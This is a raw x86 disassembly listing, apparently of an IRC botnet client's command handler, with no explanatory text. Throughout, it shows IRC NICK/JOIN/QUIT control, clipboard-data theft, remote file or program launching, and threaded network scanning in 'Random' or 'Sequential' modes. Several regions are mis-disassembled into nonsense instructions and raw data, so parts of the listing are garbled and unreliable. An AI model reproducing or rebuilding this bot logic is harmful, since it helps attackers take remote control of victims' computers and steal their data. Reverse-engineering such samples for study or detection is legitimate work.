push offset dword_4295BC
jmp loc_410D73
; ---------------------------------------------------------------------------
loc_40F838: ; CODE XREF: seg000:0040CEACj
; seg000:0040CEC3j
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_410E98
push offset asc_423020 ; "\n"
push esi
call sub_413CD0
push esi
call sub_408A91
add esp, 0Ch
test eax, eax
jnz short loc_40F878
push offset dword_42957C
jmp near ptr loc_40F046+3
; ---------------------------------------------------------------------------
loc_40F878: ; CODE XREF: seg000:0040F86Cj
push esi
push offset dword_429550
jmp loc_4109D1
; ---------------------------------------------------------------------------
loc_40F883: ; CODE XREF: seg000:0040CE7Ej
; seg000:0040CE95j
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz loc_410E98
push eax
call sub_408175
test eax, eax
pop ecx
jnz short loc_40F8B4
push offset unk_429520
jmp near ptr loc_40F046+3
; ---------------------------------------------------------------------------
loc_40F8B4: ; CODE XREF: seg000:0040F8A8j
push offset dword_4294F0
jmp near ptr loc_40F046+3
; ---------------------------------------------------------------------------
loc_40F8BE: ; CODE XREF: seg000:0040CE50j
; seg000:0040CE67j
push 7Fh
lea eax, [ebp-6F4h]
push edi
push eax
call sub_414DD0
mov esi, [ebp+esi-8Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_40F8ED
push 7Fh
lea eax, [ebp-674h]
push esi
push eax
call sub_414DD0
add esp, 0Ch
loc_40F8ED: ; CODE XREF: seg000:0040F8D9j
push 7Fh
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_414DD0
mov eax, [ebp+0Ch]
push edi
mov [ebp-6F8h], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
mov eax, [ebp-4]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push offset dword_4294C4
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 14h
push eax
call sub_413059
add esp, 24h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-6F8h]
push ebx
push eax
push offset sub_4092F3
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40F98B
loc_40F975: ; CODE XREF: seg000:0040F989j
cmp [ebp-568h], ebx
jnz loc_4109E0
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40F975
; ---------------------------------------------------------------------------
loc_40F98B: ; CODE XREF: seg000:0040F973j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429474
jmp loc_4109D1
; ---------------------------------------------------------------------------
loc_40F99C: ; CODE XREF: seg000:0040CE22j
; seg000:0040CE39j
push ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push edi
call sub_404858
push edi
push offset dword_42944C
jmp loc_40F433
; ---------------------------------------------------------------------------
loc_40F9B7: ; CODE XREF: seg000:0040CDF4j
; seg000:0040CE0Bj
push 14h
lea eax, [ebp-710h]
push ebx
push eax
call sub_413630
push edi
lea eax, [ebp-6FCh]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-5F8h]
push 80h
push eax
call sub_413B2A
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-2C8h]
push offset dword_429414
push eax
loc_40FA25: ; CODE XREF: seg000:0040FA9Ej
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 12h
push eax
call sub_413059
add esp, 40h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push offset sub_409BA0
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40FA87
loc_40FA71: ; CODE XREF: seg000:0040FA85j
cmp [ebp-568h], ebx
jnz loc_410D58
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40FA71
; ---------------------------------------------------------------------------
loc_40FA87: ; CODE XREF: seg000:0040FA6Fj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42B6D8
jmp loc_410D49
; ---------------------------------------------------------------------------
loc_40FA98: ; CODE XREF: seg000:0040CDC6j
; seg000:0040CDDDj
push edi
call near ptr 0A70000h
jnb short loc_40FA25
sal byte ptr [eax+ecx+57h], 68h
in al, 93h
inc edx
add bl, ch
or ebp, [eax+2Ch]
wait
inc edx
add al, ch
sti
test edi, edi
call dword ptr [eax-73h]
test [eax], edi
std
; ---------------------------------------------------------------------------
dw 0FFFFh
; ---------------------------------------------------------------------------
push 200h
push eax
call sub_413B2A
add esp, 10h
jmp loc_40D48C
; ---------------------------------------------------------------------------
loc_40FACF: ; CODE XREF: seg000:0040CD98j
; seg000:0040CDAFj
push edi
call sub_413B1F
push eax
call near ptr sub_4123C5
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_40FAEC
push offset dword_4293AC
jmp short loc_40FAF1
; ---------------------------------------------------------------------------
loc_40FAEC: ; CODE XREF: seg000:0040FAE3j
push offset dword_429364
loc_40FAF1: ; CODE XREF: seg000:0040FAEAj
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_40D4B0
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
jmp loc_40D4B0
; ---------------------------------------------------------------------------
loc_40FB2A: ; CODE XREF: seg000:0040CD6Aj
; seg000:0040CD81j
push ebx
push ebx
push edi
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call sub_412136
add esp, 18h
cmp eax, 1
push edi
jnz short loc_40FB4C
push offset dword_42932C
jmp loc_410D73
; ---------------------------------------------------------------------------
loc_40FB4C: ; CODE XREF: seg000:0040FB40j
push offset dword_4292E8
jmp loc_410D73
; ---------------------------------------------------------------------------
loc_40FB56: ; CODE XREF: seg000:0040CD3Cj
; seg000:0040CD53j
push edi
call ds:dword_42F748
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_40FB93
push 2
lea eax, [ebp+8]
push 4
push eax
call ds:dword_42F6C0
cmp eax, ebx
jz short loc_40FBAE
push dword ptr [eax]
loc_40FB79: ; CODE XREF: seg000:0040FBACj
push edi
lea eax, [ebp-2C8h]
push offset dword_4292B8
push eax
call sub_4135AD
add esp, 10h
jmp loc_40DC19
; ---------------------------------------------------------------------------
loc_40FB93: ; CODE XREF: seg000:0040FB63j
push edi
call ds:dword_42F78C
cmp eax, ebx
jz short loc_40FBAE
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_42F794
push eax
jmp short loc_40FB79
; ---------------------------------------------------------------------------
loc_40FBAE: ; CODE XREF: seg000:0040FB75j
; seg000:0040FB9Cj
push offset dword_42927C
jmp near ptr loc_40F046+3
; ---------------------------------------------------------------------------
loc_40FBB8: ; CODE XREF: seg000:0040CD0Ej
; seg000:0040CD25j
push 7Fh
push edi
push dword ptr [ebp+1Ch]
call sub_414DD0
push edi
lea eax, [ebp-2C8h]
push offset dword_429244
push eax
call sub_4135AD
add esp, 18h
jmp loc_40D1C9
; ---------------------------------------------------------------------------
loc_40FBDD: ; CODE XREF: seg000:0040CCE0j
; seg000:0040CCF7j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call ds:dword_42F67C
test eax, eax
push edi
jz short loc_40FBFD
push offset unk_429214
jmp loc_410D73
; ---------------------------------------------------------------------------
loc_40FBFD: ; CODE XREF: seg000:0040FBF1j
push offset unk_4291DC
jmp loc_410D73
; ---------------------------------------------------------------------------
loc_40FC07: ; CODE XREF: seg000:0040CCB2j
; seg000:0040CCC9j
mov al, [edi]
mov ds:byte_42823C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_4291A4
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_40FC1C: ; CODE XREF: seg000:0040CC84j
; seg000:0040CC9Bj
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
push ebx
push ebx
lea eax, [ebp-0A4h]
push 2
push eax
call sub_412797
push eax
lea eax, [ebp-2C8h]
push offset dword_429868
push eax
call sub_4135AD
add esp, 1Ch
jmp loc_40F37D
; ---------------------------------------------------------------------------
loc_40FC67: ; CODE XREF: seg000:0040CC56j
; seg000:0040CC6Dj
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_40B71F
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_40B71F
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_41106A
pop ecx
pop ecx
push 1F4h
call ds:dword_41F058 ; Sleep
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call ds:dword_42F7A0
push dword ptr [ebp-10h]
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348AC[eax]
call near ptr 0A70000h
test eax, 3E32E857h
; ---------------------------------------------------------------------------
db 0
dd 34C06900h, 57000002h, 48AC9889h, 20E80043h, 6900003Eh
dd 234C0h, 88595900h, 43469898h, 0BA0DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_40FD12: ; CODE XREF: seg000:0040CC28j
; seg000:0040CC3Fj
push edi
push offset aAll ; "all"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FD41
call sub_413222
cmp eax, ebx
jle short loc_40FD37
push eax
push offset dword_429154
jmp loc_40DCA8
; ---------------------------------------------------------------------------
loc_40FD37: ; CODE XREF: seg000:0040FD2Aj
push offset dword_429118
jmp loc_410536
; ---------------------------------------------------------------------------
loc_40FD41: ; CODE XREF: seg000:0040FD21j
mov eax, [ebp-0ACh]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40B71F
lea eax, [ebp+edi*4-94h]
mov [ebp+2Ch], eax
loc_40FD5D: ; CODE XREF: seg000:0040FDCEj
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_40B71F
push esi
call sub_413B1F
push eax
call sub_413194
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40FD84
push offset dword_4290E0
jmp short loc_40FD89
; ---------------------------------------------------------------------------
loc_40FD84: ; CODE XREF: seg000:0040FD7Bj
push offset dword_4290A0
loc_40FD89: ; CODE XREF: seg000:0040FD82j
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40FDB9
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_40FDB9: ; CODE XREF: seg000:0040FD9Bj
lea eax, [ebp-2C8h]
push eax
call sub_409615
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40FD5D
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40FDD5: ; CODE XREF: seg000:0040CBFAj
; seg000:0040CC11j
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_410E98
push esi
push offset dword_42987C
push dword ptr [ebp+0Ch]
call sub_41106A
push esi
push offset dword_429074
jmp loc_40F55F
; ---------------------------------------------------------------------------
loc_40FE0C: ; CODE XREF: seg000:0040CBCCj
; seg000:0040CBE3j
push edi
push offset dword_429788
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
push offset dword_429040
jmp loc_40F55F
; ---------------------------------------------------------------------------
loc_40FE25: ; CODE XREF: seg000:0040CB9Ej
; seg000:0040CBB5j
push dword ptr [ebp+esi-8Ch]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
push offset dword_42900C
jmp loc_40F433
; ---------------------------------------------------------------------------
loc_40FE45: ; CODE XREF: seg000:0040CB70j
; seg000:0040CB87j
push edi
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
push offset dword_428FD4
jmp loc_40F55F
; ---------------------------------------------------------------------------
loc_40FE5E: ; CODE XREF: seg000:0040CB35j
; seg000:0040CB4Aj
mov al, ds:byte_42373A
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_42373A
jz loc_40B71F
mov ecx, edx
loc_40FE75: ; CODE XREF: seg000:0040FE7Dj
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40FE75
cmp al, bl
jz loc_40B71F
mov [ebp+20h], edx
loc_40FE8A: ; CODE XREF: seg000:00410148j
push 8
call sub_4132A1
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 12Ch
jle short loc_40FED9
push ecx
lea eax, [ebp-2C8h]
push offset dword_42A130
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 20h
jmp loc_41013F
; ---------------------------------------------------------------------------
loc_40FED9: ; CODE XREF: seg000:0040FEA4j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_4236A0, ebx
mov dword ptr [ebp-304h], 1Eh
mov dword ptr [ebp-318h], 7
mov dword ptr [ebp-314h], 0B4h
mov [ebp+8], ebx
jz short loc_40FF4A
mov eax, [ebp+20h]
mov edi, offset dword_4236A0
lea esi, [eax-0Ah]
loc_40FF14: ; CODE XREF: seg000:0040FF2Cj
lea eax, [edi-28h]
push esi
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FF30
inc dword ptr [ebp+8]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_40FF14
jmp short loc_40FF4A
; ---------------------------------------------------------------------------
loc_40FF30: ; CODE XREF: seg000:0040FF22j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_4236A0[ecx]
mov [ebp-31Ch], ecx
loc_40FF4A: ; CODE XREF: seg000:0040FF07j
; seg000:0040FF2Ej
cmp [ebp-31Ch], ebx
jz loc_410153
push 10h
lea eax, [ebp+18h]
pop esi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+18h], esi
push dword ptr [ebp+0Ch]
call ds:dword_42F6AC
mov al, [ebp-9B3h]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_42F794
push eax
lea eax, [ebp-430h]
push eax
call sub_414DD0
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_4150D0
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_40FFEC
loc_40FFCA: ; CODE XREF: seg000:0040FFEAj
cmp eax, ebx
jz short loc_40FFEC
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_4150D0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40FFCA
loc_40FFEC: ; CODE XREF: seg000:0040FFC8j
; seg000:0040FFCCj
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov esi, [ebp-4]
mov [ebp-320h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-2F4h], eax
lea eax, [ebp-420h]
push eax
mov dword ptr [ebp-2F0h], 1
mov [ebp-2F8h], esi
call sub_413B2A
mov edi, offset dword_4282D8
push offset byte_42E348
push edi
call sub_4139D0
add esp, 14h
test eax, eax
jz short loc_410056
push edi
lea eax, [ebp-3A0h]
push 80h
push eax
call sub_413B2A
add esp, 0Ch
jmp short loc_41005C
; ---------------------------------------------------------------------------
loc_410056: ; CODE XREF: seg000:0041003Dj
mov [ebp-3A0h], bl
loc_41005C: ; CODE XREF: seg000:00410054j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_41006E
mov eax, offset aSequential ; "Sequential"
loc_41006E: ; CODE XREF: seg000:00410067j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_428F58
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_413059
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_405E47
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_4100F8
loc_4100E6: ; CODE XREF: seg000:004100F6j
cmp [ebp-2ECh], ebx
jnz short loc_410113
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_4100E6
; ---------------------------------------------------------------------------
loc_4100F8: ; CODE XREF: seg000:004100E4j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_42A00C
push eax
call sub_4135AD
add esp, 0Ch
loc_410113: ; CODE XREF: seg000:004100ECj
cmp [ebp-8], ebx
jnz short loc_410132
push ebx
lea eax, [ebp-2C8h]
push esi
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_410132: ; CODE XREF: seg000:00410116j
lea eax, [ebp-2C8h]
push eax
call sub_409615
pop ecx
loc_41013F: ; CODE XREF: seg000:0040FED4j
add dword ptr [ebp+20h], 0Bh
mov eax, [ebp+20h]
cmp [eax], bl
jnz loc_40FE8A
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_410153: ; CODE XREF: seg000:0040E337j
; seg000:0040FF50j
push offset dword_428F0C
jmp loc_410536
; ---------------------------------------------------------------------------
loc_41015D: ; CODE XREF: seg000:0040CB0Bj
; seg000:0040CB20j
push 4
call sub_4132A1
test eax, eax
pop ecx
jle short loc_410173
push offset unk_428ED8
jmp loc_40D0AD
; ---------------------------------------------------------------------------
loc_410173: ; CODE XREF: seg000:00410167j
mov eax, [ebp+esi-90h]
cmp eax, ebx
jz short loc_410196
push eax
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
call sub_413B2A
add esp, 0Ch
jmp short loc_4101AA
; ---------------------------------------------------------------------------
loc_410196: ; CODE XREF: seg000:0041017Cj
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
push ebx
call near ptr 0A70000h
out dx, eax
loc_4101AA: ; CODE XREF: seg000:00410194j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jnz short loc_4101BA
mov esi, offset byte_428290
loc_4101BA: ; CODE XREF: seg000:004101B3j
push esi
lea eax, [ebp-700h]
push edi
push eax
call sub_413B2A
mov eax, ds:dword_428228
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-5F4h], eax
mov eax, [ebp+0Ch]
mov [ebp-5F8h], ebx
mov [ebp-808h], eax
lea eax, [ebp-5F0h]
push eax
call sub_414DD0
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-700h]
push eax
lea eax, [ebp-804h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-5F4h]
push offset unk_42398C
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 4
push eax
call sub_413059
add esp, 38h
mov [ebp-5FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-808h]
push ebx
push eax
push offset loc_4050E6
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-5FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_41028A
loc_410274: ; CODE XREF: seg000:00410288j
cmp [ebp-568h], ebx
jnz loc_40D1C9
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_410274
; ---------------------------------------------------------------------------
loc_41028A: ; CODE XREF: seg000:00410272j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_428E8C
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_41029B: ; CODE XREF: seg000:0040CAE1j
; seg000:0040CAF6j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_4102BA
push edi
call sub_413B1F
test eax, eax
pop ecx
jz short loc_4102BA
push edi
call sub_413B1F
pop ecx
jmp short loc_4102BF
; ---------------------------------------------------------------------------
loc_4102BA: ; CODE XREF: seg000:004102A4j
; seg000:004102AFj
mov eax, ds:dword_42822C
loc_4102BF: ; CODE XREF: seg000:004102B8j
mov esi, [ebp+esi-8Ch]
mov [ebp-584h], eax
xor eax, eax
cmp [ebp-9B0h], bl
setz al
cmp esi, ebx
mov [ebp-570h], eax
jz short loc_4102F2
lea eax, [ebp-688h]
push esi
push eax
call sub_4135AD
pop ecx
pop ecx
jmp short loc_41031D
; ---------------------------------------------------------------------------
loc_4102F2: ; CODE XREF: seg000:004102DFj
lea eax, [ebp-3E8h]
push 104h
push eax
call near ptr 0A70000h
mov ah, 53h
push ebx
lea eax, [ebp-2D4h]
push ebx
push eax
lea eax, [ebp-3E8h]
push eax
call sub_4153D8
add esp, 14h
loc_41031D: ; CODE XREF: seg000:004102F0j
lea eax, [ebp-688h]
push eax
call sub_413DB0
cmp byte ptr [ebp+eax-689h], 5Ch
pop ecx
jnz short loc_410348
lea eax, [ebp-688h]
push eax
call sub_413DB0
pop ecx
mov [ebp+eax-689h], bl
loc_410348: ; CODE XREF: seg000:00410332j
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
lea eax, [ebp-910h]
mov [ebp-914h], esi
push 80h
push eax
call sub_413B2A
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-688h]
mov [ebp-578h], edi
push eax
push dword ptr [ebp-584h]
push esi
call sub_408619
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_42385C
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 3
push eax
call sub_413059
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-914h]
push ebx
push eax
push offset sub_403FCB
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_4103FC
loc_4103EA: ; CODE XREF: seg000:004103FAj
cmp [ebp-568h], ebx
jnz short loc_410417
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_4103EA
; ---------------------------------------------------------------------------
loc_4103FC: ; CODE XREF: seg000:004103E8j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_428E40
loc_410408: ; CODE XREF: seg000:0040E851j
; seg000:0040E94Bj
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_410417: ; CODE XREF: seg000:0040E835j
; seg000:0040E92Fj ...
cmp [ebp-8], ebx
jnz loc_410D58
push ebx
push edi
loc_410422: ; CODE XREF: seg000:0040E0FBj
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push esi
jmp loc_40DCD4
; ---------------------------------------------------------------------------
loc_410435: ; CODE XREF: seg000:0040CAB7j
; seg000:0040CACCj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_410448
push esi
call sub_413B1F
jmp short loc_41044F
; ---------------------------------------------------------------------------
loc_410448: ; CODE XREF: seg000:0041043Ej
push 8
call sub_4132C0
loc_41044F: ; CODE XREF: seg000:00410446j
cmp eax, ebx
pop ecx
jz loc_410E98
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4056A7
loc_41046A: ; CODE XREF: seg000:004108F6j
add esp, 10h
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_410472: ; CODE XREF: seg000:0040CA8Dj
; seg000:0040CAA2j
mov eax, ds:dword_42F630
cmp eax, ebx
jz short loc_41048F
call eax ; dword_42F630
test eax, eax
jz short loc_410488
push offset unk_428E08
jmp short loc_4104A4
; ---------------------------------------------------------------------------
loc_410488: ; CODE XREF: seg000:0041047Fj
push offset unk_428DC8
jmp short loc_4104A4
; ---------------------------------------------------------------------------
loc_41048F: ; CODE XREF: seg000:00410479j
push offset unk_428D88
jmp short loc_4104A4
; ---------------------------------------------------------------------------
loc_410496: ; CODE XREF: seg000:0040CA63j
; seg000:0040CA78j
call sub_40853B
test eax, eax
jz short loc_4104BA
push offset unk_428D50
loc_4104A4: ; CODE XREF: seg000:00410486j
; seg000:0041048Dj ...
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
jmp loc_410D7F
; ---------------------------------------------------------------------------
loc_4104BA: ; CODE XREF: seg000:0041049Dj
push offset unk_428D10
jmp short loc_4104A4
; ---------------------------------------------------------------------------
loc_4104C1: ; CODE XREF: seg000:0040CA39j
; seg000:0040CA4Ej
cmp [ebp-8], ebx
jnz short loc_4104E0
push ebx
push dword ptr [ebp-4]
push offset aClipboardData ; "-[Clipboard Data]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_4104E0: ; CODE XREF: seg000:004104C4j
push ebx
push dword ptr [ebp-4]
call sub_40813A
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
push offset dword_428CCC
jmp loc_4107C8
; ---------------------------------------------------------------------------
loc_410502: ; CODE XREF: seg000:0040C959j
; seg000:0040C96Ej
push 7
call sub_4132A1
test eax, eax
pop ecx
jle short loc_410515
push offset dword_428C90
jmp short loc_410536
; ---------------------------------------------------------------------------
loc_410515: ; CODE XREF: seg000:0041050Cj
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call loc_408CA5
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_410531
push offset dword_428C54
jmp short loc_410536
; ---------------------------------------------------------------------------
loc_410531: ; CODE XREF: seg000:00410528j
push offset dword_428C20
loc_410536: ; CODE XREF: seg000:0040DE98j
; seg000:0040DFC8j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
pop ecx
pop ecx
jmp loc_40DCB7
; ---------------------------------------------------------------------------
loc_410549: ; CODE XREF: seg000:0040C92Fj
; seg000:0040C944j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_407B27
jmp loc_40B71C
; ---------------------------------------------------------------------------
loc_410562: ; CODE XREF: seg000:0040C905j
; seg000:0040C91Aj
push dword ptr [ebp+esi-90h]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40A9A3
jmp loc_40B71C
; ---------------------------------------------------------------------------
loc_41057F: ; CODE XREF: seg000:0040C8DBj
; seg000:0040C8F0j
or edi, 0FFFFFFFFh
call ds:dword_41F044 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_4105A8
push esi
call sub_413B1F
pop ecx
mov edi, eax
loc_4105A8: ; CODE XREF: seg000:0041059Dj
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4105C1
cmp edi, 0FFFFFFFFh
jnz loc_410E98
loc_4105C1: ; CODE XREF: seg000:004105B6j
push ebx
call sub_408E5A
push eax
lea eax, [ebp-2C8h]
push offset dword_428BF4
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
lea eax, [ebp-2C8h]
push eax
call sub_409615
jmp loc_40E686
; ---------------------------------------------------------------------------
loc_410603: ; CODE XREF: seg000:0040C8B1j
; seg000:0040C8C6j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_406A7B
lea eax, [ebp-2C8h]
push offset unk_428BC0
push eax
call sub_4135AD
add esp, 14h
jmp loc_40D1C9
; ---------------------------------------------------------------------------
loc_41062D: ; CODE XREF: seg000:0040C887j
; seg000:0040C89Cj
push 1Eh
call sub_4132A1
test eax, eax
pop ecx
jle short loc_410656
cmp [ebp-8], ebx
jnz loc_40B71F
push ebx
push dword ptr [ebp-4]
push offset dword_428B8C
push dword ptr [ebp-8Ch]
jmp loc_40BC7D
; ---------------------------------------------------------------------------
loc_410656: ; CODE XREF: seg000:00410637j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_413B2A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
